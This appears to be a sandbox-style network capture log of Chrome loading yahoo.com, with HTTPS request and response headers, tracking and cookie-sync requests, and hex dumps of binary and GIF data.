2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 01 cd 40 e2 cd bb e0 68 11 9c 21 fc b1 de ff 00 b3 b6 96 20 74 d5 cc ff 00 44 93 56 0c 7c 77 03 14 37 60 6b 4c 06 50 06 0e b4 20 45 eb ec b3 fe 7a db ff 00 de 4a ff 00 d0 ac 7e 43 f0 48 d1 8d f9 91 d8 ce 80 39 ae 01 dc 8a a3 6a 51 d2 a3 28 24 ca 00 ca 8b 03 2a 40 ca 00 f5 34 00 a5 00 2c df 8d 02 0a 26 82 52 b1 54 d0 41 17 a9 09 16 c7 36 bc a6 d5 83 82 28 5d 90 df 0c e7 3d 6e 9b ac fb d8 64 ca 6d d4 60 2b 70 c0 cf d0 57 56 2d 51 cc 57 c9 a5 ba 0b 4d ce 4b 2a 4e 4a bc 73 d2 a5 92 82 0b 96 a2 76 d3 07 63 0e 6f 07 84 a3 a5 2b 56 35 a2 1a d7 a8 fb d5 aa 64 d5 6d 5a b1 8f 5e b4 e9 50 96 15 d8 dd 44 a2 25 be 39 70 fb bc f4 4f f6 d4 49 b1 92 b0 c2 14 d6 1d 61 51 e1 ac 25 58 e9 54 c9 b3 6e 84 2d 90 7a 92 de e5 e2 df fa 39 f2 03 cd 92 a6 94 7a 7c bf 75 1a 12 a3 6b Data Ascii: @h! tDV\|w7`kLP EzJ~CH9jQ($@4,&RTA6(]=ndm`+pWV-QWMKNJsvco+V5dmZ^PD%9pOIaQ%XTn-z9z\|uk
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 86 fd fa 41 90 24 cc 77 de 6f 08 4e ef 85 5f 78 7e 42 96 82 c8 c8 b6 b1 71 d5 d2 ad a5 48 8a c4 76 7e d1 29 e7 15 ee 21 ac 80 95 1f a9 e9 d6 a1 a1 9b a0 ba cb da 12 f4 2d d2 1c 57 2f 0f cc b7 3e b0 c9 69 e3 90 da 4f c2 53 e5 c0 c6 3d 29 14 06 bb 3a 1a 34 84 90 87 72 0b 6e a4 29 0a 07 83 9a 95 12 b6 cd a5 42 8f 2c 7e b1 23 3e 74 d4 4a 60 1e a6 82 88 52 c0 6f ef 66 b1 eb f0 58 88 d6 13 81 d2 b3 a2 42 0b 73 45 0d e4 8e a2 a4 41 d2 9b e3 84 e7 eb 45 81 17 39 38 0b 51 e9 8a 2c 50 62 28 2f 2d ed e3 22 b5 e8 ae 00 4d c8 51 5d 41 42 d9 06 ad 2b a0 0b 57 37 0e 2b e9 44 64 9d e3 25 5c fe 15 00 40 c3 1e f1 57 ad 23 93 43 45 0f a5 8c 47 51 c7 85 2d 97 22 0d 20 93 46 e0 a1 57 9c 44 66 fb e7 8e d4 8e a6 88 bb 16 48 9d d2 10 22 5f a1 b9 31 4a f7 42 42 93 c7 cf 35 76 c2 Data Ascii: A$woN_x~BqHv~)!-W/>iOS=):4rn)B,~#>tJ`RofXBsEAE98Q,Pb(/-"MQ]AB+W7+Dd%\@W#CEGQ-" FWDfH"_1JBB5v
2024-04-27 22:41:59 UTC	69	IN	Data Raw: d0 a2 54 e0 38 de af c6 98 91 64 95 91 95 2b 34 00 ad 00 70 8f f2 c1 7f f9 78 d3 1f fc 5c c7 f4 49 34 e8 0f 90 54 c0 65 00 65 00 65 08 0b df d9 5b fc f5 81 fe f2 57 f4 73 59 7c 87 e0 91 a3 1b f2 a3 b1 d5 5e Data Ascii: T8d+4px\I4Teee[WsY\|^
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 64 ee a4 24 46 05 4d 50 e6 99 00 0c d5 6e ef 80 3c a7 03 28 03 dd de 94 12 8c dd e9 40 c6 bb bd 28 21 2a 37 07 34 12 95 9b a5 5e 95 50 1e a1 7c f3 42 74 45 0b b4 f0 4e 2a 7b 22 87 68 79 20 54 5b 44 03 9a c1 de f1 90 80 33 90 6b 56 3b 66 7d 65 65 79 75 78 81 dc 94 f5 e7 39 ae 84 64 64 02 ee e4 b6 ee ec 66 ac 42 32 2a 6f d9 e7 46 05 f5 ad 1d df 4d a7 ad 31 57 2d 8c ad b3 1a 80 e6 e6 90 11 f5 e4 d4 32 c4 12 c2 d5 ee 46 52 a5 3a f1 09 6f 19 fe ff 00 4a a5 c3 71 a2 39 0d 12 91 fb 48 7d a7 37 87 d4 71 e1 9a 4f 6e 8d 11 ca 68 7f 23 b5 f9 0e 23 63 2e 2c 67 af 34 7a 05 8b 29 be d8 3d a9 75 3b 9a a6 d0 a8 d2 17 fa e8 88 de 85 f8 e0 75 fc 6a 56 9d 33 3e be a5 f0 57 f6 ed 42 95 30 52 f0 dc a1 90 41 38 f9 1a d7 54 62 62 f0 94 a5 c9 6d 48 56 30 71 50 f8 16 c3 64 d8 90 Data Ascii: d$FMPn<(@(!74^P\|BtEN{"hy T[D3kV;f}eeyux9ddfB2*oFM1W-2FR:oJq9H}7qOnh##c.,g4z)=u;ujV3>WB0RA8TbbmHV0qPd
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 14 55 b8 b7 2c f7 61 33 f5 f2 18 41 6c 63 e0 1c f3 51 28 a4 5d 19 32 b2 ed 8b 17 09 24 08 c8 04 67 25 3c 57 3b 5d a4 6f d0 56 ac ab e3 c2 4b 4b dd bb 71 3e 18 ac ae 45 8d 00 7d b1 ea 98 b6 bb 59 b3 03 99 12 31 b4 66 b6 e1 2d ca cc 7a ee b8 0d 7b 20 4e ed 29 19 bc 75 ad 72 56 e8 aa 2a 90 6d 61 6f bd d6 d1 10 0f 1c 8f dd 59 35 d5 23 44 15 9d 1c d2 76 a4 63 a0 e8 2b 97 29 a3 4a 77 c0 fa 31 c2 aa bb a6 0d 3b 24 e3 75 14 ef a1 47 ad f4 14 b5 64 fc 0e 5a ea 6a 58 25 62 ce 3c 96 1b de b3 4c 4b 8d 1c f5 db 6e a2 76 6c c6 e1 c1 2e 89 01 c0 51 fa b2 73 f8 56 fc 76 8c 39 36 89 3e ce 2f 12 a2 b0 24 3f 38 31 27 61 2a 00 f3 5d 0d 1e 0f 3b e4 3d 6f 80 f9 9d 7b 78 f0 bf 1c fa 9a d4 f8 38 fe e3 21 18 e6 b8 bf 28 60 5d db fa d1 d0 af 2b 5d 09 0d 5d a8 c9 24 5d 5a a0 ad e7 Data Ascii: U,a3AlcQ(]2$g%<W;]oVKKq>E}Y1f-z{ N)urVmaoY5#Dvc+)Jw1;$uGdZjX%b<LKnvl.QsVv96>/$?81'a];=o{x8!(`]+]]$]Z
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 63 dd a1 a8 8f fa 55 67 8f bc 94 9f e1 56 c7 29 32 8f d1 74 7b a2 5f 4d 68 ab dd 93 52 c3 87 73 93 df 9c 83 8d a0 63 27 9e 95 6c 72 1b e8 95 89 a5 8f d1 d3 51 77 37 1d b4 14 e4 a5 20 75 ad ab a2 45 52 e8 27 18 eb 52 dd 11 44 4e a7 d5 b6 1d 1f 6c 72 ed a8 6e 2d 44 8e 84 92 0a d5 ca c8 fb a9 1d 49 e6 9b 65 85 1c 8b da af b5 bd fa f8 eb d6 9d 1e 17 6a b6 85 2b 0e 03 89 2e 83 c6 49 fb bd 0f 03 ce a5 68 ae c8 b6 73 5d ff 00 53 ca ba cb 54 89 b2 9d 75 c5 92 4a 96 b2 4a 8f d6 b4 2e 04 b2 97 f6 8b 93 df 69 08 1e ef 4b 82 7c 7f ee d7 48 3a 39 d8 f5 3f 3a 91 91 94 80 65 00 65 08 0b eb d9 5b fc f4 b7 ff 00 bc 95 fd 1c d6 5f 21 5e 84 8d 38 df 9a 27 5f ac e1 2a 35 e4 d1 e8 88 d7 9f 09 23 18 35 64 5d 80 d5 52 3d 29 80 71 03 7c d9 28 8e 81 ca ce 33 4e 90 cc 98 d4 11 53 Data Ascii: cUgV)2t{_MhRsc'lrQw7 uER'RDNlrn-DIej+.Ihs]STuJJ.iK\|H:9?:ee[_!^8'_*5#5d]R=)q\|(3NS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.4	49954	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	1091	OUT	GET /px.gif?ch=2&rn=1.9185749898548843 HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31; _lc2_fpi_meta=%7B%22w%22%3A1714257717635%7D
2024-04-27 22:41:59 UTC	586	IN	HTTP/1.1 200 OK x-amz-id-2: 1ZDcjN8H9uQeKfDRiX/PlUDlZQVHkfZdNcAiVe7rRF9jHkwOUGpzAEqUkQaYQT5AT+FhOTitSVo= x-amz-request-id: MT0DARPXP7BJXPTN Date: Sat, 27 Apr 2024 22:41:56 GMT Last-Modified: Wed, 30 Nov 2022 19:09:07 GMT ETag: "b4682377ddfbe4e7dabfddb2e543e842" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/gif Server: ATS Content-Length: 42 Referrer-Policy: no-referrer-when-downgrade Age: 4 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Strict-Transport-Security: max-age=31536000 Vary: Origin
2024-04-27 22:41:59 UTC	1749	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 62 75 69 6c 74 62 79 67 69 72 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 72 69 76 61 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 65 6e 67 61 64 67 65 74 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 69 6e 74 68 65 6b 6e 6f 77 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 75 74 6f 62 6c 6f 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 74 65 63 68 63 72 75 6e 63 68 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 6f 6c 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 68 75 66 66 69 6e 67 74 6f 6e 70 6f 73 74 2e 63 Data Ascii: Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://*.huffingtonpost.c
2024-04-27 22:41:59 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 01 01 32 00 3b Data Ascii: GIF89a!,2;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.4	49956	18.165.98.41	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	644	OUT	GET /p?c1=2&c2=7241469&c5=2023538075&c7=https%3A%2F%2Fwww.yahoo.com%2F&c14=-1&c8=Yahoo%20%7C%20Mail%2C%20Weather%2C%20Search%2C%20Politics%2C%20News%2C%20Finance%2C%20Sports%20%26%20Videos&c9=&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1714257714229 HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=1D48bace37dc6f510e89ade1714257697
2024-04-27 22:41:59 UTC	781	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Sat, 27 Apr 2024 22:41:59 GMT set-cookie: UID=1D48bace37dc6f510e89ade1714257697; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=62208000 set-cookie: PID=179cc442bf824837571b29e1714257719; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=7776000 set-cookie: XID=1D48bace37dc6f510e89ade1714257697; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=62208000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 ddd3d8441374ce62d11d031216138152.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD55-P4 X-Amz-Cf-Id: mvY0PYr5V0ICVs1A8eZL3xDAC-tVGXZKW8aMKN7TD190W01yyaMlJw==
2024-04-27 22:41:59 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.4	49955	34.95.69.49	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	590	OUT	POST /1a HTTP/1.1 Host: i.clean.gg Connection: keep-alive Content-Length: 496 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	496	OUT	Data Raw: 7b 22 61 63 74 69 6f 6e 5f 6e 61 6d 65 22 3a 22 45 76 65 6e 74 73 22 2c 22 66 22 3a 22 70 61 67 65 76 69 65 77 22 2c 22 6a 73 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 31 34 32 35 37 37 31 37 33 38 37 2c 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 34 2c 22 61 63 74 69 6f 6e 5f 67 72 6f 75 70 5f 69 64 22 3a 22 35 30 38 37 32 35 33 38 2d 32 39 66 38 2d 32 38 64 31 2d 63 61 62 36 2d 39 65 30 61 64 34 63 62 63 65 65 36 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 34 2e 32 37 2e 32 2d 61 71 2d 79 61 68 6f 6f 73 63 6c 22 2c 22 74 6f 70 4c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 6a 73 74 7a 6f 66 Data Ascii: {"action_name":"Events","f":"pageview","jstimestamp":1714257717387,"elapsed_time":14,"action_group_id":"50872538-29f8-28d1-cab6-9e0ad4cbcee6","version":"4.27.2-aq-yahooscl","topLocation":"https://www.yahoo.com/","referrer":"https://www.yahoo.com/","jstzof
2024-04-27 22:41:59 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Sat, 27 Apr 2024 22:41:59 GMT Content-Type: application/octet-stream Content-Length: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range,Origin,Accept,X-API-Key Access-Control-Expose-Headers: Content-Length,Content-Range Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.4	49957	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	1187	OUT	GET /tdv2_fp/api/resource/WeatherLocationService.favoriteLocation?returnMeta=true&lang=en-US&region=US&site=fp&ssl=1&crumb=rMW2Wm8dqO0 HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31; _lc2_fpi_meta=%7B%22w%22%3A1714257717635%7D
2024-04-27 22:41:59 UTC	1255	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN content-type: application/json; charset=utf-8 content-length: 21 etag: W/"15-umwiS4rIitQ2ijB3W71Mutm+O6U" vary: Accept-Encoding date: Sat, 27 Apr 2024 22:41:59 GMT x-envoy-upstream-service-time: 224 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* Age: 0 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.pnr.ouryahoo.com https://pnr.ouryahoo.com https://.search.aol.com https://.search.huffpost.com https://.onesearch.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=4o4q321j2qvpn&partner=; Connection: close
2024-04-27 22:41:59 UTC	936	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 6c 69 5f 64 63 64 6d 5f 63 3d 44 45 4c 45 54 45 3b 20 45 78 70 69 72 65 73 3d 53 61 74 2c 20 32 37 20 41 70 72 20 32 30 32 34 20 32 32 3a 33 31 3a 35 39 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 30 Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffSet-Cookie: _li_dcdm_c=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0
2024-04-27 22:41:59 UTC	21	IN	Data Raw: 7b 22 64 61 74 61 22 3a 5b 5d 2c 22 6d 65 74 61 22 3a 7b 7d 7d Data Ascii: {"data":[],"meta":{}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.4	49958	44.206.98.23	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	629	OUT	GET /demconf.jpg?et:ibs%7cdata:dpid=30646 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=63826747359567710540057628888543792331
2024-04-27 22:41:59 UTC	903	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:59 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: dIC7rK7+Tgg= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Error: 300 X-Content-Type-Options: nosniff DCS: dcs-prod-va6-2-v059-082381a98.edge-va6.demdex.com 0 ms set-cookie: dpm=63826747359567710540057628888543792331; Max-Age=15552000; Expires=Thu, 24 Oct 2024 22:41:59 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=63826747359567710540057628888543792331; Max-Age=15552000; Expires=Thu, 24 Oct 2024 22:41:59 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-04-27 22:41:59 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.4	49959	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	1316	OUT	POST /cookie_sync HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive Content-Length: 260 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31; _lc2_fpi_meta=%7B%22w%22%3A1714257717635%7D
2024-04-27 22:41:59 UTC	260	OUT	Data Raw: 7b 22 75 75 69 64 22 3a 22 36 35 31 30 61 62 61 32 2d 30 31 37 62 2d 34 30 35 62 2d 62 35 63 65 2d 31 31 35 35 39 33 33 61 36 31 37 62 22 2c 22 62 69 64 64 65 72 73 22 3a 5b 22 79 61 68 6f 6f 50 72 65 62 69 64 53 65 72 76 65 72 22 5d 2c 22 61 63 63 6f 75 6e 74 22 3a 22 79 61 68 6f 6f 22 2c 22 66 69 6c 74 65 72 53 65 74 74 69 6e 67 73 22 3a 7b 22 69 6d 61 67 65 22 3a 7b 22 62 69 64 64 65 72 73 22 3a 22 2a 22 2c 22 66 69 6c 74 65 72 22 3a 22 69 6e 63 6c 75 64 65 22 7d 2c 22 69 66 72 61 6d 65 22 3a 7b 22 62 69 64 64 65 72 73 22 3a 22 2a 22 2c 22 66 69 6c 74 65 72 22 3a 22 69 6e 63 6c 75 64 65 22 7d 7d 2c 22 67 64 70 72 22 3a 30 2c 22 75 73 5f 70 72 69 76 61 63 79 22 3a 22 31 59 4e 4e 22 2c 22 67 70 70 5f 73 69 64 22 3a 22 2d 31 22 2c 22 67 70 70 22 3a 22 44 Data Ascii: {"uuid":"6510aba2-017b-405b-b5ce-1155933a617b","bidders":["yahooPrebidServer"],"account":"yahoo","filterSettings":{"image":{"bidders":"","filter":"include"},"iframe":{"bidders":"","filter":"include"}},"gdpr":0,"us_privacy":"1YNN","gpp_sid":"-1","gpp":"D
2024-04-27 22:41:59 UTC	1188	IN	HTTP/1.1 200 OK access-control-allow-credentials: true access-control-allow-origin: https://www.yahoo.com content-type: application/json; charset=utf-8 vary: Origin date: Sat, 27 Apr 2024 22:41:59 GMT x-envoy-upstream-service-time: 1 server: ATS x-envoy-decorator-operation: pbs--production-usea5.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Set-Cookie: _li_dcdm_c=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=pbs.yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _li_dcdm_c=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; 